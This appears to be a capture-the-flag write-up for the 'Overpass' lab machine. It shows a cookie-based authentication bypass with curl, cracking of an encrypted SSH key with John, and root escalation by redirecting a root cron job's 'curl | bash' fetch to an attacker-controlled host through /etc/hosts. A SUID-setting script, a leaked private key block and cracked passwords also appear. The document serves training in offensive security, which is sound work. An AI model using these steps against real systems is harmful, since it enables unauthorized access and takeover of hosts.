Skip to main content

Overpass

WebSite JavaScript

The Login [IP:80/admin] is Handled by JavaScript. The code sends the Credentials to the Endpoint and sets the Response to the Cookie called: SessionToken. We can Simply set the SessionToken to a Random Value to gain Access.

# We can Set the Token with CURL, from the Browser or Cookie Editor Browser Extensions 
curl "10.10.240.124/admin/" -b "SessionToken=400"
async function login() {
const usernameBox = document.querySelector("#username");
const passwordBox = document.querySelector("#password");
const loginStatus = document.querySelector("#loginStatus");
loginStatus.textContent = ""
const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
}

Private SSH Key

  • After Setting the Cookie Value we get Presented with a Page showing us the Private SSH Key.
  • Found Username in the Message: james
Welcome to the Overpass Administrator area
A secure password manager with support for Windows, Linux, MacOS and more

Since you keep forgetting your password, James, I've set up SSH keys for you.
If you forget the password for this, crack it yourself. I'm tired of fixing stuff for you.
Also, we really need to talk about this "Military Grade" encryption. - Paradox

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337

LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
73/eUN9kYF0ua9rZC6mwoI2iG6sdlNL4ZqsYY7rrvDxeCZJkgzQGzkB9wKgw1ljT
WDyy8qncljugOIf8QrHoo30Gv+dAMfipTSR43FGBZ/Hha4jDykUXP0PvuFyTbVdv
BMXmr3xuKkB6I6k/jLjqWcLrhPWS0qRJ718G/u8cqYX3oJmM0Oo3jgoXYXxewGSZ
AL5bLQFhZJNGoZ+N5nHOll1OBl1tmsUIRwYK7wT/9kvUiL3rhkB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YIRuQjrUmierXAdmbYF9wimhmLfelrMcofOHRW2
+hL1kHlTtJZU8Zj2Y2Y3hd6yRNJcIgCDrmLbn9C5M0d7g0h2BlFaJIZOYDS6J6Yk
2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
-----END RSA PRIVATE KEY-----

JOHN

  • The Private SSH Key is Password Protected we can use John to Brute Force it.
  • Password: james:james13
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
james13 (id_rsa)


Privilege Escalation

  • Using SSH Credentials to Login: james:james13
james@overpass-prod:~$ id
uid=1001(james) gid=1001(james) groups=1001(james)

  • The User ROOT is using curl on overpass.thm/downloads/src/buildscript.sh and piping the Contents of the Script into BASH
james@overpass-prod:~$ cat /etc/crontab 
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

  • The User james has WRITE Permissions on /etc/hosts
  • We modify the overpass.thm Address to our Machine Address.
james@overpass-prod:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 overpass-prod
ATTACKER_IP overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

  • After modifying /etc/hosts we can Host the same file [buildscript.sh] the User ROOT is trying to curl
  • Our [buildscript.sh] sets the SUID Bit on /bin/bash Binary.
#!/bin/bash
chmod u+s /bin/bash
james@overpass-prod:~$ ls -l /bin/bash 
-rwsr-sr-x 1 root root 1113504 Jun 6 2019 /bin/bash
james@overpass-prod:~$ /bin/bash -p
root@overpass-prod:~$ id
uid=1001(james) gid=1001(james) euid=0(root) egid=0(root) groups=0(root),1001(james)
root@overpass-prod:~$ whoami
root


OTHER

  • In the Home Directory of the User james there is a Hidden File .overpass
  • File Contents:
# ROT47
,LQ?2>6QiQ$JDE6>Q[QA2DDQiQD2J5C2H?=J:?8A:4EFC6QN. -->> [{"name":"System","pass":"saydrawnlyingpicture"}]